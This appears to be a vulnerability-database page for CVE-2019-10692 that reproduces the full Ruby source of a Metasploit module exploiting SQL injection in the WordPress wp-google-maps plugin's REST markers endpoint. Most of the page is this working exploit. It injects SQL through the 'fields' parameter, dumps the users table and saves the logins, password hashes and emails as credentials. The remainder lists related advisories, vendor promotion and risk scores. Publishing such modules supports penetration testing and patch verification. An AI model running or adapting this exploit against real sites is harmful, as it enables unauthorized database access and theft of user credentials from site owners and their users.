Lucene search
K

WordPress Google Maps Plugin SQL Injection

🗓️ 31 Aug 2024 00:00:00Reported by Thomas Chauchefoin, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 372 Views

WordPress Google Maps Plugin SQL Injection. Exploits SQL injection in wp-google-maps plugin REST endpoint version 7.11.00 to 7.11.1

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2019-10692
2 Apr 201900:00
attackerkb
Circl
CVE-2019-10692
15 Apr 201912:48
circl
CNVD
WordPress wp-google-maps plugin input validation error vulnerability
4 Apr 201900:00
cnvd
Check Point Advisories
WordPress Google Maps Plugin SQL Injection (CVE-2019-10692)
1 Jul 201900:00
checkpoint_advisories
CVE
CVE-2019-10692
2 Apr 201917:37
cve
Cvelist
CVE-2019-10692
2 Apr 201917:37
cvelist
Exploit DB
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection
20 Oct 202000:00
exploitdb
Metasploit
WordPress Google Maps Plugin SQL Injection
11 Apr 201912:04
metasploit
Nuclei
WordPress Google Maps <7.11.18 - SQL Injection
3 Jun 202606:04
nuclei
NVD
CVE-2019-10692
2 Apr 201918:30
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(_info = {})  
super(  
'Name' => 'WordPress Google Maps Plugin SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in a REST endpoint  
registered by the WordPress plugin wp-google-maps between 7.11.00 and  
7.11.17 (included).  
  
As the table prefix can be changed by administrators, set DB_PREFIX  
accordingly.  
},  
'Author' => [  
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-10692'],  
['WPVDB', '9249']  
],  
'DisclosureDate' => '2019-04-02'  
)  
  
register_options(  
[  
OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])  
]  
)  
end  
  
def send_sql_request(sql_query)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'rest_route' => '/wpgmza/v1/markers',  
'filter' => '{}',  
'fields' => "#{sql_query}-- -"  
}  
)  
  
return nil if res.nil? || res.code != 200 || res.body.nil?  
  
res.body  
end  
  
def check  
mynum = Rex::Text.rand_text_numeric(8..20).to_s  
body = send_sql_request(mynum)  
return Exploit::CheckCode::Unknown if body.nil?  
return Exploit::CheckCode::Vulnerable if body.include?(mynum)  
  
Exploit::CheckCode::Unknown  
end  
  
def run  
print_status("#{peer} - Trying to retrieve the #{datastore['DB_PREFIX']}users table...")  
  
body = send_sql_request("* from #{datastore['DB_PREFIX']}users")  
fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?  
  
begin  
body = JSON.parse(body)  
rescue JSON::ParserError  
fail_with(Failure::NotFound, 'Returned data is not in JSON format')  
end  
  
if body.empty?  
print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")  
else  
loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)  
print_good("Credentials saved in: #{loot}")  
end  
  
body.each do |user|  
print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")  
connection_details = {  
module_fullname: fullname,  
username: user['user_login'],  
private_data: user['user_pass'],  
private_type: :nonreplayable_hash,  
workspace_id: myworkspace_id,  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: user['user_email']  
}.merge(service_details)  
create_credential(connection_details)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
CVSS 3.19.8
EPSS0.88762
372